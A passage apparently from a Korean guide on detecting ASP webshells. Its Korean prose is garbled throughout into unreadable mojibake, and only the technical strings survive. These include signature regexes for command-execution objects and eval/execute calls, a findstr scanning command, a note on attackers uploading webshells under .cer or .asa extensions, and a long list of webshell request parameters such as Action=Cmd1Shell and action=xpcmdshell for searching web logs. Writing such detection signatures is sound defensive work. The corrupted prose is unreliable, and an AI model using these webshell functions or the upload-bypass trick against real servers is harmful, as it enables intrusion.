À¥½©Àº ½Ã½ºÅÛ ¸í·É¾î¸¦ ¼öÇàÇϰųª ÆÄÀÏÀ» Á¶ÀÛÇϱâ À§ÇØ °ü·ÃµÈ ¿ÀºêÁ§Æ®, Wscript.Shell, Shell.Application µîÀ» ÁÖ·Î »ç¿ëÇÏ°Ô µÈ´Ù. ÇÏÁö¸¸ ÀÌ·¯ÇÑ ¿ÀºêÁ§Æ®´Â Á¤»óÀûÀÎ ½ºÅ©¸³Æ® Äڵ忡¼­´Â »ç¿ëÇÏÁö ¾Ê´Â °Íµé·Î À¥½© ŽÁö¸¦ À§ÇÑ ½Ã±×´ÏÃÄ·Î ÁöÁ¤ÇÏ¿© À¥½©À» ŽÁöÇϴµ¥ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô ½Ã±×´ÏÃÄ·Î ÁöÁ¤ÇÒ ¸¸ÇÑ ¹®ÀÚ¿­µéÀ» ã¾Æº» °á°ú ´ÙÀ½°ú °°¾Ò´Ù.

- Wscript.Shell, Shell.Application °ú °°Àº ½Ã½ºÅÛ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ¿ÀºêÁ§Æ®³ª ¸Þ¼Òµå
- ÀÎÄÚµùµÈ ÆÄÀÏ¿¡ »ðÀÔµÈ Çì´õ ¹®ÀÚ¿­ VBScript.Encode
- Áß±¹¾î °£Ã¼ gb2312
- ½Ã½ºÅÛ ¸í·É¿¡ ÇÊ¿äÇÑ ¹®ÀÚ¿­ cmd.exe
- Á¤»óÀûÀÎ ½ºÅ©¸³Æ®¿¡¼­ ÈçÈ÷ »ç¿ëµÇÁö ¾Ê´Â eval, execute ÇÔ¼ö µî
cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request ¡¬.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos

¡á findstr ¸í·É¾î¸¦ È°¿ëÇÑ Å½Áö ¹æ¹ý
findstr À̶ó´Â ¸í·É¾î´Â ÁöÁ¤µÈ ÆÄÀϵ鿡¼­ ã°íÀÚ Çϴ ƯÁ¤ ¹®ÀÚ¿­µéÀ» °Ë»öÇÒ ¼ö ÀÖµµ·Ï µµ¿ÍÁØ´Ù. À§¿¡¼­ Á¤ÀÇµÈ ½Ã±×´ÏÃĵéÀ» ÆÄÀÏ(asp.sig)·Î ÁöÁ¤ÇÏ°í »çÀÌÆ® Ȩ µð·ºÅ͸®¿¡¼­ ¾Æ ·¡ÀÇ ¿¹Ã³·³ ½ÇÇàÇØ º¸±â ¹Ù¶õ´Ù.

findstr /i /r /s /g:asp.sig *.asp

- i : ´ë¼Ò¹®ÀÚ ±¸ºÐ¾øÀÌ °Ë»ö
- g : ÁöÁ¤µÈ ÆÄÀÏ¿¡¼­ °Ë»ö ¹®ÀÚ¿­À» ¹ÞÀ½
- r : Á¤±Ô Ç¥Çö½Ä »ç¿ë
- s : ¸ðµç ÇÏÀ§µð·ºÅ͸® °Ë»ö

¡Ø ÃÖ±Ù °ø°ÝÀÚµéÀÌ À¥½© È®ÀåÀÚ¸¦ .cer, .asa, cdx, hta·Î º¯°æÇÏ¿© ÆÄÀÏÀ» ¾÷·Îµå ÇÏ´Â °æ¿ì°¡ ÀÖ´Ù.(ÆÄÀÏ ¾÷·Îµå
¿ìȸ °ø°Ý) ¹Ýµå½Ã °Ë»ç È®ÀåÀÚ¸¦ asp »Ó¸¸ ¾Æ´Ï¶ó ½ºÅ©¸³Æ®·Î ½ÇÇàµÇµµ·Ï ÁöÁ¤µÈ .asa, .cer µîµµ ¹Ýµå½Ã ÇÔ²²
°Ë»ö Çϵµ·Ï ÇØ¾ß ÇÑ´Ù.


[±×¸²] °Ë»ç´ë»ó È®Àå¸í

³ª. À¥½© ·Î±× ½Ã±×´ÏÃĸ¦ ÀÌ¿ëÇÑ À¥ ·Î±× °Ë»ö

¡á ½Ã±×´ÏÃÄ
ÃÖ±Ù ´ëºÎºÐÀÇ À¥½©µéÀº POST ¹æ½ÄÀ¸·Î °ü·Ã µ¥ÀÌÅ͵éÀ» Àü¼ÛÇϱ⠶§¹®¿¡ À¥ ·Î±×¿¡¼­ À¥½©ÀÌ ½ÇÇàµÈ ÈçÀûÀ» ã±â°¡ ½±Áö ¾Ê´Ù. ÇÏÁö¸¸ ¸¹Àº À¥½©µéÀº ½ÇÇàÇÒ ¸Þ´ºµéÀ» GET ¹æ½ÄÀ¸·Î Àü´Þ ÇÏ¿© ÀÌ·¯ÇÑ ·Î±×µéÀ» ´ë»óÀ¸·Î ½Ã±×´ÏÃĸ¦ ÃßÃâ ÇÒ ¼ö ÀÖ¾ú´Ù. ¾Æ·¡ 8.0.asp À¥½©¿¡¼­ ½Ã½ºÅÛ ¸í·É¾î ¼öÇàÇÏ´Â ¸Þ´º¸¦ ½ÇÇàÇÏ¸é ¾Æ·¡¿Í °°ÀÌ /WebShell/8.0.asp?Action=Cmd1Shell GET ¿äûÀ» ÇÏ°Ô µÇ¾î Action=Cmd1Shell À̶ó´Â °íÀ¯ÀÇ ½Ã±×´ÏÃĸ¦ ¾òÀ» ¼ö ÀÖ´Ù.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

ÀÎÅͳÝħÇØ»ç°í´ëÀÀÁö¿ø¼¾ÅÍ¿¡¼­ ÇÇÇؽýºÅÛ¿¡¼­ ¼öÁýµÈ À¥½©À» Å×½ºÆ®ÇÏ°í ¾Æ·¡¿Í °°ÀÌ À¥½© ½ÇÇà¿©ºÎ¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Â ½Ã±×´ÏÃĸ¦ ÃßÃâÇÏ¿´´Ù.
Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt


4. °á·Ð
°ü¸®ÇÏ´Â ¼­¹ö¿¡¼­ À¥½©ÀÌ Å½ÁöµÇ¾ú´Ù¸é ½Ã½ºÅÛ¿¡ À¥½©À» »ý¼ºÇÒ ¼ö ÀÖ¾ú´ø Ãë¾àÁ¡ÀÌ Á¸Àç ÇÒ °Í ÀÌ´Ù. À¥½©ÀÌ ¾÷·Îµå µÈ ÇÇÇؽýºÅÛÀ» ºÐ¼®ÇÑ °á°ú ´ëºÎºÐ ÆÄÀÏ ¾÷·Îµå, SQL Injection°ú °°Àº ¾îÇø®ÄÉÀÌ¼Ç Ãë¾àÁ¡À¸·Î À¥½©ÀÌ »ý¼ºµÇ´Â °ÍÀ¸·Î È®ÀεǾú´Ù. À¥½©À» ŽÁöÇؼ­ Á¦°ÅÇÏ´Â °Íµµ Áß¿äÇÏÁö¸¸ À¥½©À» »ý¼ºÇÒ ¼ö ÀÖ¾ú´ø ±Ùº»ÀûÀÎ Ãë¾àÁ¡À» ã¾Æ³»¾î ÆÐÄ¡ÇÏ´Â °Íµµ °ü¸®ÀÚµéÀÌ ²À~! ÀØÁö ¾Ê°í ÇØ¾ß µÉ ÀÛ¾÷ÀÏ °ÍÀÌ´Ù.
¾Õ¼­ ŽÁö ¹æ¹ý¿¡¼­ Á¦°øÇÑ ½Ã±×´ÏÃĵéÀº ¿ÀŽÀÌ ¹ß»ýÇÒ ¼ö ÀÖÀ¸¹Ç·Î ¹Ýµå½Ã ÀÌ º¸°í¼­¿¡¼­ ¼³¸íÇÑ ±â´ÉÀ» °®´Â À¥½©ÀÎÁö È®ÀÎ ÈÄ »èÁ¦ÇØ¾ß ÇÑ´Ù.

 
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